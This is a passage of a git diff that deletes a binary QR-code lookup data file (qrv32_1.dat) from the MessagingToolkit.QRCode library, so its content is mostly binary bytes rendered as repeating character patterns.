{{zzyyxx,,++**))iijjkkll  - - xyyzz{{|%$$##""!`aabbccd=<<;;::9HIIJJKKLUTTSSRRQ01122334mllkkjji%^]]\\[[ZABBCCDDETTSSRRQQ11223344llkkjjiimmnnoopp00//..--UUVVWWXX44332211mmssttuumnnooppq0//..--,UVVWWXXYHGGFFEED=>>??@@A`__^^]]\%&&''(()xwwvvuut  - - wwvvuutt((''&&%%mmnnoopp |}}~~! deeffggh98877665LMMNNOOPQPPOONNM45566778ihhggffe%&&''(()ZYYSSRRQEFFGGHHIPPOONNMM55667788hhggffee ~~}}qqrrsstt,,++**))YYZZ[[\\00//..--vvwwxxyyqrrssttu,++**))(YZZ[[\\]DCCBBAA@ABBCCDDE\[[ZZYYX)**++,,-tssrrqqp~ !"ssrrqqpp$$##""!!qqrrsstthiijjkkl54433221PQQRRSSTMLLKKJJI899::;;>==>??@a``__^^]-..//001MLLKKJJIMNNOOPPQHHGGFFEE==>>??@@``__^^]]%%&&''((xxwwvvuu  - - yyzz{{||$$##""!!aabbccdd((''&&%%~~ -yzz{{||}$##""!! abbccdde<;;::998IJJKKLLMTSSRRQQP12233445lkkjjiih zyyxxwwv(())**++kkjjiihh yyzz{{|| - - |{{zzyyx ~~}pqqrrsst-,,++**)XYYZZ[[\EDDCCBBA@AABBCCD]\\[[ZZY12233445IHHGGFFEQRRSSTUVDDCCBBAAAABBCCDD\\[[ZZYY))**++,,ttssrrqq}}~~ eeffgghh - }~~ effgghhi87766554MNNOOPPQPOONNMML56677889hggffeed !~~}}| - - vuuttssm,,--..//ggffeedd - - }}~~ - - xwwvvuut !!""##$}||{{zzy - -  tuuvvwwx)((''&&%\]]^^__`A@@??>>=DEEFFGGHYXXWWVVU56677889EDDCCBBAWXYYZZ[[@@??>>==EEFFGGHHXXWWVVUU--..//00ppoonnmmiijjkkllijjkkllm43322110QRRSSTTULKKJJIIH9::;;<<=dccbbaa`!""##$$%|{{zzyyx mllkkjji00112233ccbbaa``tssrqpon$%%&&''(yxxwwvvu  - - xyyzz{{|%$$##""!`aabbccd=<<;;::9HIIJJKKLUTTSSRRQ9??@@AABA@@??998\\]]^^__<<;;::99IIJJKKLLTTSSRRQQ11223344llkkjjiimmnnooppmnnooppq0//..--,UVVWWXXYHGGFFEED=>>??@@A`__^^]]\%&&''(()xwwvvuutihhggffe44556677__^^]]\\ mmllkkjj())**++,uttssrrq |}}~~! deeffggh98877665LMMNNOOPQPPOONNMBCCDDEEF87766554``aabbcc88776655MMNNOOPPPPOONNMM55667788hhggffee ~~}}qqrrsstt qrrssttu,++**))(YZZ[[\\]DCCBBAA@ABBCCDDE\[[ZZYYX)**++,,-tssrrqqpeddccbba8899:;<=[[ZZYYXX rrssttuu++**))((ZZ[[\\]]CCBBAA@@BBCCDDEE[[ZZYYXX**++,,--iihhggff8899??@@JIIHHGGFBCCDDEEF[ZZYYXXW*++,,--.srrqqppo~fgghhiij76655443NOOPPQQR87766554vwwxxyyz - -  vvwwxxyy''&&%%$$^^__``aa??>>==<JKKLLMMNSRRQQPPO23344556kjjiihhgnooppqqr/..--,,+VWWXXYYZ0//..--,~ - - ~~ffgghhii77665544NNOOPPQQOONNMMLL66778899]]\\[[ZZIIJJKKLL=<;:9988NOOPPQQRONNMMLLK6778899:gffeeddc !!"~~}}||{ -rssttuuv+**))(('Z[[\\]]^,++**))( jjkkllmm33221100RRSSTTUUKKJJIIHH::;;<<==YYSSRRQQMMNNOOPP77665544RSSTTUUVKJJIIHHG:;;<<==>cbbaa``_"##$$%%&{zzyyxxw -  vwwxxyyz'&&%%$$#^__``aab(''&&%%nnooppqq//..--,,VVWWXXYYGGFFEEDD>>??@@AAPPOONNMMQQRRSSYY33221100VWWXXYYZGFFEEDDC>??@@AAB_^^]]\\[&''(())*wvvuutts - - z{{||}}~#""!! bccddeef~~} !!~~}}|| rrssttuu++**))((ZZ[[\\]]CCBBAA@@BBCCDDEELLKKJJIIZZ[[\\]]//..--,,Z[[\\]]^CBBAA@@?BCCDDEEF[ZZYYXXW*++,,--.srrqqppo~fgghhiij}||{{zzy""##$$%%{{zzyyxx - -  vvwwxxyy''&&%%$$^^__``aa??>>==<>==<<;FGGHHIIJWVVUUTTS.//00112onnmmllkjkkllmmnyxxwwvvu &&''(())wwvvuutt - - zz{{||}}##""!! bbccddee;;::9988JJKKLLMMDDCCBBAAbbccddee''&&%%$#bccddeef;::99887JKKLLMMNSRRQQPPO23344556kjjiihhgnooppqqruttssrrq !!""##$**++,,--ssrrqqpp~~ffgghhii77665544NNOOPPQQ@@??9988ffgghhii"! fgghhiij76655443NOOPPQQRONNMMLLK6778899:gffeeddc !!"~~}}||{ -rssttuuv qppoonnm$%%&&''(..//0011oonnmmlljjkkllmm33221100RRSSTTUU77665544jjkkllmmjkkllmmn3221100/RSSTTUUVKJJIIHHG:;;<<==>cbbaa``_"##$$%%&{zzyyxxw -  vwwxxyyz - - -mllkkjji())**++,22334455kkjjiihhnnooppqq//..--,,VVWWXXYY33221100ssttuuvvnooppqqr/..--,,+VWWXXYYZGFFEEDDC>??@@AAB_^^]]\\[&''(())*wvvuutts - - z{{||}}~ - ihhggffe,--..//066778899ggffeedd !!~~}}|| rrssttuu++**))((ZZ[[\\]]//..--,,wwxxyyzzrssttuuv+**))(('Z[[\\]]^CBBAA@@?BCCDDEEF[ZZYYXXW*++,,--.srrqqppo~eddccbba01122334::;;<<==ccbbaa``""##$$%%{{zzyyxx - -  vvwwxxyy''&&%%$$^^__``aa++**))(({{||}}~~ vwwxxyyz'&&%%$$#^__``aab?>>==<<;FGGHHIIJWVVUUTTS.//00112onnmmllka``__^^]45566778>>??@@AA__^^]]\\&&''(())wwvvuutt - - zz{{||}}##""!! bbccddee''&&%% - - z{{||}}~#""!! bccddeef;::99887JKKLLMMNSRRQQPPO23344556kjjiihhg]\\[[ZZY899::;;>??@FFGGHHIIWWVVUUTT..//0011oonnmmlljjkkllmmjkkllmmn3221100/RSSTTUUVKJJIIHHG:;;<<==>cbbaa``_"##$$%%&{zzyyxxw - %%&&'UTTSSRRQ@AABBCCDJJKKLLMMSSRRQQPP22334455kkjjiihhnnooppqqnooppqqr/..--,,+VWWXXYYZGFFEEDDC>??@@AAB_^^]]\\[&''(())*wvvuutts'(())**+QPPOONNMDEEFFGGHNNOOPPQQOONNMMLL66778899ggffeedd !!~~}}|| rrssttuu -rssttuuv+**))(('Z[[\\]]^CBBAA@@?BCCDDEEF[ZZYYXXW*++,,--.srrqqppo+,,--../MLLKKJJIHIIJJKKLRRSSTTUUKKJJIIHH::;;<<==ccbbaa``""##$$%%{{zzyyxx - -  vvwwxxyy -  vwwxxyyz'&&%%$$#^__``aab?>>==<<;FGGHHIIJWVVUUTTS.//00112onnmmllk~~}}||{/0011223IHHGGFFELMMNNOOPVVWWXXYYGGFFEEDD>>??@@AA__^^]]\\&&''(())wwvvuutt - - zz{{||}} - -  - - z{{||}}~#""!! bccddeef;::99887JKKLLMMNSRRQQPPO23344556kjjiihhg{zzyyxxw34455667EDDCCBBAPQQRRSSTZZ[[\\]]CCBBAA@@BBCCDDEE[[ZZYYXX**++,,--ssrrqqpp~~~~}}||{~fgghhiij76655443NOOPPQQRONNMMLLK6778899:gffeeddc !!"wvvuutts78899??@A@@??>>=TUUVVWWX^^__``aa??>>==<cbbaa``_"##$$%%&smmllkkj@AABBCCD=<<;;::9XYYZZ[[\bbccddee;;::9988JJKKLLMMSSRRQQPP22334455kkjjiihh wvvuuttsnooppqqr/..--,,+VWWXXYYZGFFEEDDC>??@@AAB_^^]]\\[&''(())*jiihhggfDEEFFGGH98877665\]]^^__`ffgghhii77665544NNOOPPQQOONNMMLL66778899ggffeedd !!~~}}|| srqponmm !!"~~}}||{ -rssttuuv+**))(('Z[[\\]]^CBBAA@@?BCCDDEEF[ZZYYXXW*++,,--.feeddccbHIIJJKKL54433221`aabbccdjjkkllmm33221100RRSSTTUUKKJJIIHH::;;<<==ccbbaa``""##$$%%{{zzyyxx - - llkkjjii"##$$%%&{zzyyxxw -  vwwxxyyz'&&%%$$#^__``aab?>>==<<;FGGHHIIJWVVUUTTS.//00112baa``__^LMMNNOOP100//..-deeffgghnnooppqq//..--,,VVWWXXYYGGFFEEDD>>??@@AA__^^]]\\&&''(())wwvvuutthhggffee&''(())*wvvuutts - - z{{||}}~#""!! bccddeef;::99887JKKLLMMNSRRQQPPO23344556^]]\\[[ZPQQRRSSY-,,++**)hiijjkklrrssttuu++**))((ZZ[[\\]]CCBBAA@@BBCCDDEE[[ZZYYXX**++,,--ssrrqqppddccbbaa*++,,--.srrqqppo~fgghhiij76655443NOOPPQQRONNMMLLK6778899:ZYYSSRRQYZZ[[\\])((''&&%lmmnnoopvvwwxxyy''&&%%$$^^__``aa??>>==<QPPOONNM]^^__``a%$$##""!pqqrrsstzz{{||}}##""!! bbccddee;;::9988JJKKLLMMSSRRQQPP22334455kkjjiihh~~}}||{{(())**++\\[[ZZYY23344556kjjiihhgnooppqqr/..--,,+VWWXXYYZGFFEEDDC>??@@AABMLLKKJJIabbccdde! tuuvvwwx~~ffgghhii77665544NNOOPPQQOONNMMLL66778899ggffeedd !!zzyyxxww,,--..//XWVUTSSR6778899:gffeeddc !!"~~}}||{ -rssttuuv+**))(('Z[[\\]]^CBBAA@@?BCCDDEEFIHHGGFFEeffgghhixyyzz{{|jjkkllmm33221100RRSSTTUUKKJJIIHH::;;<<==ccbbaa``""##$$%%vvuuttss00112233RQQPPOON:;;<<==>cbbaa``_"##$$%%&{zzyyxxw -  vwwxxyyz'&&%%$$#^__``aab?>>==<<;FGGHHIIJEDDCCBBAijjkkllm|}}~~nnooppqq//..--,,VVWWXXYYGGFFEEDD>>??@@AA__^^]]\\&&''(())mmllkkjj44556677NMMLLKKJ>??@@AAB_^^]]\\[&''(())*wvvuutts - - z{{||}}~#""!! bccddeef;::99887JKKLLMMNA@@??998mssttuuvbdQZ|bdQZ|H~fZdQbt`f~Zp˂AJltf`vXے`JX`JXQ|ZdQfpvZp˂AJltf`vXے`JXZdQbtfpvےbHAJlt`vXnے`JXQ|ZdQbfpvp˂rJlt`vXn`vXnے`JXQ|ZdQbpvnJltvXnvXn`JXQZdQbtfpv˂r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QZ|dQZ|dvpfH˂pZHlJtAv`fJ`ےQZ|dvpfHpZHAˁ`ZQXApfH~|drrd|~HfbHAZpdrtAJ~f`HAbےrd|~HfbHAZptbdQpfH~ے`JXQrd|~HfpbHAZp˙rtAJltAJl~f`Abے`rd|~HfpbHAZp˙rtAJl~f`b˂pHr󙐂ˁf۝`vQtJlZdQbtpvn˂rXQltbvXn`JXQrZdQbtpvn˂rXQZ|dvpr˂pZdQbtvnXrXQtbdtbnvXnہJXQrZdQbtvnXrXQtbdvXnۑZHAb`ZQXbXnvˍtbAdZlJtAXv`fJ`ےdQZ|vpfH˂pZlJtAXv`fJ`ےrtAJlfH~ZHAblJtAv`fJ`ےQZ|dvpfHvpfH˂pZHlJtAv`fJ`ےQZ|dvpfHے`JXۑpJApfH~|drrd|~HfbHAZpdrtAJ~f`HAbےrd|~HfbHAZptbdQf`vXJQrrd|~HfpbHAZp˙rtAJlf`~f`Abے`rd|~HfpbHAZp˙rtAJl~f`Qr˂pHr󙐂ˁf۝`vQtJlZdQbtpvn˂rXQltbvXn`JXQrZdQbtpvn˂rXQZ|dnvppZHAZdQbtvnXrXQtbdvXnvXnrJXQrZdQbtvnXrXQtbdvXnۑZHAb`ZQXbXnvˍtbAdZlJtAXv`fJ`ےdQZ|vpfH˂pZlJtAXv`fJ`ےtbdQZfH~bے`lJtAv`fJ`ےQZ|dvpfH˂pZH˂pZHlJtAv`fJ`ےQZ|dvpfHے`pˁ`ZpfH~|drQtJJJJJJJJJJKKKKKKKKKKKKKKKKKKKKKKK \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_1.dat deleted file mode 100644 index d19aed9..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_1.dat +++ /dev/null @@ -1,289 +0,0 @@ -}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxwvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqropopopopopopopopmnmnmnmmnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTQRQRQRQRQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABABABABABA@?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<99:9:9:9:999999:87878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!       }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqropopopopopopopopmmmmnmnmnmnmmmmmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUTSTSSTSTSTSTQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>;<;<;<;<;<;<;<;<:9:9:9:99:9:9:9:87878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!     }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvutstststststststststststqrqrqrqropopopopopopopopnmnmnmnmmnmnmnmnlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUTSTSSSSSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>;<;<;<;<;<;<;<;<:9:9:9:99:9:9:9:87878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!      }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqropopopopopopopopnmnmnmnmmnmnmnmnlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTSSSSSSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<:9:9:9:99:9:9:9:87878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!       }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststsrqrqrqrqrqrqrqropopopopopopopopnmnmnmnmmnmnmnmnlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<:9:9:9:99:9:9:9:87878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!       }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopnmnmnmnmmnmnmnmnlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUSTSTSTSTTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<:9:999999:9:9:9:87878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#"!"!"!"!"!"!       }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopnmnmnmmmmnmnmnmnlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWVUVUVUVUVUSTSTSTSTTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:999999:987878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!       }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmmmnmnmnmnmmmmmmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSTSTSTTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9::9:9:98787878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!    }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnnmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUSTSSSSSSTSTSTSTSQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:8787878787878787878787876565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!       ~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnlklklklklklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSSSSSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;:9:9:9:9:9:9:8787878787878787878787656565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopopoponmnmnmnmnmnlklklklklklklklklklklklkjijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:99999:9:9:9:9:8787878787878787656565656565656565656565434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopmnmnmmmmmnmnmnmnlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9:9:9999998787878787878787656565656565656565656543434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{|{|{|{|yzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopmnmnmnmnmnmnmmmmlklklklklklklklkjijijijijijijijijijijijihghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9::9:9:9:98787878787878787656565656565656543434343434343434343434321212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!        }~}~}~}~}~}~}~}~{|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyzyzyzyzwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqropopopopmnmnmnmnmmnmnmnmlklklklklklklklkjijijijijijijijihghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSSTSTSTSTQRQRQRQRQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNMNMNMNMNKLKLKLKLKLKLKLKLIJIJIJIJIJIJIJIJGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<9:9:9:9::9:9:9:98787878787878787656565656565656543434343434343434343432121212121212121210/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+